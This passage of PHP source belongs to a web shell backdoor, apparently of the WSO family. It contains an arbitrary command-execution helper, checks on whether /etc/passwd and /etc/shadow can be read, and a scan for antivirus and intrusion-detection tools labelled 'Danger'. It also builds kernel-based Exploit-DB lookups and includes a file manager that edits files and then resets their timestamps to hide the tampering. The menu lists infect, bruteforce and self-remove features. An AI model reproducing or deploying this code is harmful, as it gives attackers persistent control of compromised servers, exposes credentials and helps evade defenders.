";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace ? $totalSpace : 1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink =
'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
if (strpos('Linux', $kernel) !== false) {
$explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
} else {
$explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
}
if (!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = '?';
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode('/', $GLOBALS['cwd']);
$n = count($path);
for ($i = 0; $i < $n - 1; $i++) {
$cwd_links .= "
" . $path[$i] . '/';
}
$charsets = ['UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'];
$opt_charsets = '';
foreach ($charsets as $â) {
$opt_charsets .=
'
';
}
$m = [
'Sec. Info' => 'SecInfo',
'Files' => 'FilesMan',
'Send mail' => 'SendMail',
'Console' => 'Console',
'Infect' => 'Infect',
'Sql' => 'Sql',
'Php' => 'Php',
'Safe mode' => 'SafeMode',
'String tools' => 'StringTools',
'Bruteforce' => 'Bruteforce',
'Network' => 'Network',
];
if (!empty($GLOBALS['â'])) {
$m['Logout'] = 'Logout';
}
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach ($m as $k => $v) {
$menu .=
'
';
}
$drives = '';
if ($GLOBALS['os'] == 'win') {
foreach (range('c', 'z') as $drive) {
if (is_dir($drive . ':\')) {
$drives .=
'
[ ' .
$drive .
' ] ';
}
}
}
/* (С) 08.2015 dmkcv */
echo '
Uname:
User:
Php:
Hdd:
Cwd:' .
($GLOBALS['os'] == 'win' ? '
Drives:' : '') .
' | ' .
'' .
substr(@php_uname(), 0, 120) .
' [ Google ] [ Exploit-DB ]
' .
$uid .
' ( ' .
$user .
' ) Group: ' .
$gid .
' ( ' .
$group .
' )
' .
@phpversion() .
' Safe mode: ' .
($GLOBALS['safe_mode']
? 'ON'
: 'OFF') .
' [ phpinfo ] Datetime: ' .
date('Y-m-d H:i:s') .
'
' .
viewSize($totalSpace) .
' Free: ' .
viewSize($freeSpace) .
' (' .
round(100 / ($totalSpace / $freeSpace), 2) .
'%)
' .
$cwd_links .
' ' .
viewPermsColor($GLOBALS['cwd']) .
' [ home ]
' .
$drives .
' | ' .
'Freshtools | ' .
'
Server IP:
' .
gethostbyname($_SERVER['HTTP_HOST']) .
'
Client IP:
' .
$_SERVER['REMOTE_ADDR'] .
' |
' .
'
';
}
function hardFooter()
{
$is_writable = is_writable($GLOBALS['cwd'])
? " [ Writeable ]"
: ' (Not writable)';
echo "
";
}
if (
!function_exists('posix_getpwuid') &&
strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false
) {
function posix_getpwuid($p)
{
return false;
}
}
if (
!function_exists('posix_getgrgid') &&
strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false
) {
function posix_getgrgid($p)
{
return false;
}
}
function ex($in)
{
$â = '';
if (function_exists('exec')) {
@exec($in, $â);
$â = @join("
", $â);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$â = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$â = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$â = shell_exec($in);
} elseif (is_resource($f = @popen($in, 'r'))) {
$â = '';
while (!@feof($f)) {
$â .= fread($f, 1024);
}
pclose($f);
} else {
return "â³ Unable to execute command
";
}
return $â == '' ? "â³ Query did not return anything
" : $â;
}
function viewSize($s)
{
if ($s >= 1073741824) {
return sprintf('%1.2f', $s / 1073741824) . ' GB';
} elseif ($s >= 1048576) {
return sprintf('%1.2f', $s / 1048576) . ' MB';
} elseif ($s >= 1024) {
return sprintf('%1.2f', $s / 1024) . ' KB';
} else {
return $s . ' B';
}
}
function perms($p)
{
if (($p & 0xc000) == 0xc000) {
$i = 's';
} elseif (($p & 0xa000) == 0xa000) {
$i = 'l';
} elseif (($p & 0x8000) == 0x8000) {
$i = '-';
} elseif (($p & 0x6000) == 0x6000) {
$i = 'b';
} elseif (($p & 0x4000) == 0x4000) {
$i = 'd';
} elseif (($p & 0x2000) == 0x2000) {
$i = 'c';
} elseif (($p & 0x1000) == 0x1000) {
$i = 'p';
} else {
$i = 'u';
}
$i .= $p & 0x0100 ? 'r' : '-';
$i .= $p & 0x0080 ? 'w' : '-';
$i .= $p & 0x0040 ? ($p & 0x0800 ? 's' : 'x') : ($p & 0x0800 ? 'S' : '-');
$i .= $p & 0x0020 ? 'r' : '-';
$i .= $p & 0x0010 ? 'w' : '-';
$i .= $p & 0x0008 ? ($p & 0x0400 ? 's' : 'x') : ($p & 0x0400 ? 'S' : '-');
$i .= $p & 0x0004 ? 'r' : '-';
$i .= $p & 0x0002 ? 'w' : '-';
$i .= $p & 0x0001 ? ($p & 0x0200 ? 't' : 'x') : ($p & 0x0200 ? 'T' : '-');
return $i;
}
function viewPermsColor($f)
{
if (!@is_readable($f)) {
return '';
function showSecParam($n, $v)
{
$v = trim($v);
if ($v) {
echo '
' . $n . ': ';
if (strpos($v, "
") === false) {
echo $v . '
';
} else {
echo '
' . $v . '
';
}
}
}
showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if (function_exists('apache_get_modules')) {
showSecParam(
'Loaded Apache modules',
implode(', ', apache_get_modules())
);
}
showSecParam(
'Disabled PHP Functions',
$GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none'
);
showSecParam('Open base dir', @ini_get('open_basedir'));
showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
showSecParam(
'cURL support',
function_exists('curl_version') ? 'enabled' : 'no'
);
$temp = [];
if (function_exists('mysql_get_client_info')) {
$temp[] = 'MySql (' . mysql_get_client_info() . ')';
}
if (function_exists('mssql_connect')) {
$temp[] = 'MSSQL';
}
if (function_exists('pg_connect')) {
$temp[] = 'PostgreSQL';
}
if (function_exists('oci_connect')) {
$temp[] = 'Oracle';
}
showSecParam('Supported databases', implode(', ', $temp));
echo '
';
if ($GLOBALS['os'] == 'nix') {
showSecParam(
'Readable /etc/passwd',
@is_readable('/etc/passwd')
? "yes
[view]"
: 'no'
);
showSecParam(
'Readable /etc/shadow',
@is_readable('/etc/shadow')
? "yes
[view]"
: 'no'
);
showSecParam('OS version', @file_get_contents('/proc/version'));
showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if (!$GLOBALS['safe_mode']) {
$userful = [
'gcc',
'lcc',
'cc',
'ld',
'make',
'php',
'perl',
'python',
'ruby',
'tar',
'gzip',
'bzip',
'bzip2',
'nc',
'locate',
'suidperl',
];
$danger = [
'kav',
'nod32',
'bdcored',
'uvscan',
'sav',
'drwebd',
'clamd',
'rkhunter',
'chkrootkit',
'iptables',
'ipfw',
'tripwire',
'shieldcc',
'portsentry',
'snort',
'ossec',
'lidsadm',
'tcplodg',
'sxid',
'logcheck',
'logwatch',
'sysmask',
'zmbscap',
'sawmill',
'wormscan',
'ninja',
];
$downloaders = [
'wget',
'fetch',
'lynx',
'links',
'curl',
'get',
'lwp-mirror',
];
echo '
';
$temp = [];
foreach ($userful as $â) {
if (which($â)) {
$temp[] = $â;
}
}
showSecParam('Userful', implode(', ', $temp));
$temp = [];
foreach ($danger as $â) {
if (which($â)) {
$temp[] = $â;
}
}
showSecParam('Danger', implode(', ', $temp));
$temp = [];
foreach ($downloaders as $â) {
if (which($â)) {
$temp[] = $â;
}
}
showSecParam('Downloaders', implode(', ', $temp));
echo '
';
showSecParam('HDD space', ex('df -h'));
showSecParam('Hosts', @file_get_contents('/etc/hosts'));
showSecParam('Mount options', @file_get_contents('/etc/fstab'));
}
} else {
showSecParam('OS Version', ex('ver'));
showSecParam(
'Account Settings',
iconv('CP866', 'UTF-8', ex('net accounts'))
);
showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
}
echo '
';
if (!file_exists(@$_POST['p1'])) {
echo 'File not exists';
hardFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if (!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else {
$gid = @posix_getgrgid(@filegroup($_POST['p1']));
}
echo '
Name: ' .
'' .
htmlspecialchars(@basename($_POST['p1'])) .
'' .
'Size: ' .
'' .
(is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') .
'' .
'Permission: ' .
'' .
viewPermsColor($_POST['p1']) .
'' .
'Owner/Group: ' .
'' .
$uid['name'] .
'/' .
$gid['name'] .
'
' .
'
';
echo '
Create time: ' .
'
' .
date('Y-m-d H:i:s', filectime($_POST['p1'])) .
'' .
'
Access time: ' .
'
' .
date('Y-m-d H:i:s', fileatime($_POST['p1'])) .
'' .
'
Modify time: ' .
'
' .
date('Y-m-d H:i:s', filemtime($_POST['p1'])) .
'' .
'
';
if (empty($_POST['p2'])) {
$_POST['p2'] = 'view';
}
if (is_file($_POST['p1'])) {
$m = [
'View',
'Highlight',
'Download',
'Hexdump',
'Edit',
'Chmod',
'Rename',
'Touch',
'Frame',
];
} else {
$m = ['Chmod', 'Rename', 'Touch'];
}
foreach ($m as $v) {
echo '
' .
(strtolower($v) == @$_POST['p2'] ? '[ ' . $v . ' ]' : $v) .
' ';
}
echo '
';
switch ($_POST['p2']) {
case 'view':
echo '
';
$fp = @fopen($_POST['p1'], 'r');
if ($fp) {
while (!@feof($fp)) {
echo htmlspecialchars(@fread($fp, 1024));
}
@fclose($fp);
}
echo '';
break;
case 'highlight':
if (@is_readable($_POST['p1'])) {
echo '
';
$oRb = @highlight_file($_POST['p1'], true);
echo str_replace(
[''],
[''],
$oRb
) . '
';
}
break;
case 'chmod':
if (!empty($_POST['p3'])) {
$perms = 0;
for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
$perms +=
(int) $_POST['p3'][$i] *
pow(8, strlen($_POST['p3']) - $i - 1);
}
if (!@chmod($_POST['p1'], $perms)) {
echo 'Can\'t set permissions!
';
}
}
clearstatcache();
echo '
';
break;
case 'edit':
if (!is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if (!empty($_POST['p3'])) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'], 1);
$fp = @fopen($_POST['p1'], 'w');
if ($fp) {
@fwrite($fp, $_POST['p3']);
@fclose($fp);
echo 'Saved!
';
@touch($_POST['p1'], $time, $time);
}
}
echo '
';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = ['00000000
', '', ''];
$len = strlen($c);
for ($i = 0; $i < $len; ++$i) {
$h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
switch (ord($c[$i])) {
case 0:
$h[2] .= ' ';
break;
case 9:
$h[2] .= ' ';
break;
case 10:
$h[2] .= ' ';
break;
case 13:
$h[2] .= ' ';
break;
default:
$h[2] .= $c[$i];
break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i + 1 < $len) {
$h[0] .= sprintf('%08X', $i + 1) . '
';
}
$h[1] .= '
';
$h[2] .= "
";
}
}
echo '
' .
$h[0] .
' | ' .
$h[1] .
' | ' .
htmlspecialchars($h[2]) .
' |
';
break;
case 'rename':
if (!empty($_POST['p3'])) {
if (!@rename($_POST['p1'], $_POST['p3'])) {
echo 'Can\'t rename!
';
} else {
die(
''
);
}
}
echo '
';
break;
case 'touch':
if (!empty($_POST['p3'])) {
$time = strtotime($_POST['p3']);
if ($time) {
if (!touch($_POST['p1'], $time, $time)) {
echo 'Fail!';
} else {
echo 'Touched!';
}
} else {
echo 'Bad time format!';
}
}
clearstatcache();
echo '
';
break;
/* (С) 12.2015 mitryz */
case 'frame':
$frameSrc = substr(
htmlspecialchars($GLOBALS['cwd']),
strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT']))
);
if ($frameSrc[0] != '/') {
$frameSrc = '/' . $frameSrc;
}
if ($frameSrc[strlen($frameSrc) - 1] != '/') {
$frameSrc = $frameSrc . '/';
}
$frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
echo '
';
break;
}
echo '